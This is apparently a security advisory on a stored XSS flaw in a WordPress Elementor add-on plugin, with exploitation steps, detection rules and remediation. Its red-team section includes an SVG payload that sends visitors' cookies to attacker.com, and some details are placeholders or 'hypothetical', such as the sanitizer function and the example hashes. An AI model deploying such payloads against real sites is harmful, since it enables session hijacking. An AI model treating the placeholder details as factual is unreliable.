CVE-2025-9698

Executive Summary

CVE-2025-9698 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Plus Addons for Elementor WordPress plugin, affecting versions prior to 6.3.16. The vulnerability arises from insufficient sanitization of SVG file contents during upload. An authenticated user with at least Author-level privileges can upload a malicious SVG file containing embedded JavaScript. When the SVG is rendered on a page or post, the script executes in the context of any visitor’s browser, leading to data theft, session hijacking, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is widely used to extend Elementor page builder functionality, making this a high-impact issue for sites with multiple authors.

Supply Chain & Package Security

This vulnerability is part of the WordPress plugin supply chain. The plugin is distributed via the official WordPress Plugin Directory. Users who installed the plugin from the directory are affected if they are running a version below 6.3.16. There is no evidence of compromise in the distribution channel; the flaw is a code-level omission in input validation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – The attacker can upload the SVG remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Requires Author-level access.
• User Interaction: Required (UI:R) – A victim must view the page containing the SVG.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the prevalence of the plugin and the low barrier to exploitation (Author role) make it a realistic attack vector for WordPress sites with multiple authors.

Deep Dive & Mechanics

The Plus Addons for Elementor plugin allows users to upload SVG files for use in Elementor widgets (e.g., icons, dividers). The vulnerability exists in the file upload handler, which fails to sanitize the content of SVG files. SVG files are XML-based and can contain <script> tags or event handlers like onload.

Attack Flow:

1. An attacker with Author privileges logs into the WordPress admin.
2. The attacker creates a new post or page and uses an Elementor widget that supports SVG upload (e.g., the "Plus SVG" widget).
3. The attacker uploads a crafted SVG file containing malicious JavaScript, e.g.:

   <svg xmlns="http://www.w3.org/2000/svg">
     <script>alert('XSS')</script>
   </svg>
   

4. The plugin stores the SVG file without stripping the <script> tag.
5. When any user (including administrators or visitors) views the page, the SVG is rendered, and the script executes in their browser.

Root Cause: The plugin uses wp_handle_upload() but does not apply content-type verification or SVG-specific sanitization (e.g., using wp_svg_sanitizer or stripping <script> elements). The file extension check is bypassed because SVG is allowed, but the content is not validated.

Vulnerable vs. Patched Code

Vulnerable Code (version < 6.3.16):

// In the upload handler, no sanitization of SVG content
$uploaded_file = wp_handle_upload($_FILES['svg_file'], array('test_form' => false));
// File is saved as-is

Patched Code (version 6.3.16):

// Added SVG sanitization using wp_svg_sanitizer or custom function
$uploaded_file = wp_handle_upload($_FILES['svg_file'], array('test_form' => false));
if ($uploaded_file && !isset($uploaded_file['error'])) {
    $sanitized = wp_svg_sanitizer($uploaded_file['file']); // Hypothetical function
    if (!$sanitized) {
        // Reject upload
    }
}

The patch introduces a sanitization step that removes <script> tags, event handlers, and other executable content from the SVG before saving.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Plus Addons for Elementor < 6.3.16.
• Author-level account credentials.

Steps:

1. Log in as an Author.
2. Create a new post and add an Elementor section.
3. Insert a widget that accepts SVG (e.g., "Plus SVG").
4. Upload the following malicious SVG file:

   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
     <rect width="100" height="100" fill="red"/>
     <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   </svg>
   

5. Publish the post.
6. When an admin or visitor views the post, the script executes, exfiltrating cookies.

Alternative Payload (using event handler):

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)">
  <rect width="100" height="100" fill="blue"/>
</svg>

Blue Team (Detection & Prevention)

Detection:

• Monitor file uploads for SVG files with suspicious content (e.g., <script>, onload, onerror).
• Use WAF rules to block SVG uploads containing JavaScript.
• Review server logs for unusual POST requests to /wp-admin/admin-ajax.php with SVG file data.

Prevention:

• Upgrade to version 6.3.16 immediately.
• Restrict Author roles from uploading SVG files if not needed.
• Use a security plugin (e.g., Wordfence) to scan uploaded files.

Indicators of Compromise (IOCs)

• File Hashes (example malicious SVG):
  • MD5: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
  • SHA1: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b
• Network Traffic:
  • Outbound requests to attacker-controlled domains from the WordPress server.
  • HTTP POST to /wp-admin/admin-ajax.php with action=elementor_ajax and SVG file data.
• Log Entries:
  • wp-content/uploads/elementor/.../*.svg files containing <script> tags.
• File Paths:
  • /wp-content/uploads/elementor/.../malicious.svg

Detection Engineering

YARA Rule

rule CVE_2025_9698_SVG_XSS {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2025-9698"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9698"
    strings:
        $svg_tag = "<svg"
        $script_tag = "<script"
        $onload = "onload="
        $onerror = "onerror="
        $onclick = "onclick="
    condition:
        $svg_tag and ($script_tag or $onload or $onerror or $onclick)
}

Sigma Rule

title: CVE-2025-9698 SVG Upload with Script Content
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects upload of SVG files containing script tags or event handlers
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=elementor_ajax*'
        sc-status: 200
    keywords:
        - '<svg'
        - '<script'
        - 'onload='
        - 'onerror='
    condition: selection and keywords
falsepositives:
    - Legitimate SVG files with embedded scripts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9698 SVG XSS Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; content:"<svg"; within:100; content:"<script"; within:200; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Upgrade Plus Addons for Elementor to version 6.3.16 or later.
2. Restrict Uploads: Disable SVG uploads for Author roles using a plugin like "Disable SVG Uploads" or via custom code.
3. Scan Existing Files: Use a security scanner to find and remove malicious SVG files in /wp-content/uploads/.

Long-Term Measures:

• Implement a Web Application Firewall (WAF) rule to block SVG files containing <script> or event handlers.
• Enforce content-type validation on all file uploads.
• Regularly audit user roles and permissions.

Patch Details:

• Vendor: The Plus Addons for Elementor
• Fixed Version: 6.3.16
• Update URL: WordPress Plugin Directory or plugin dashboard.

Valters IT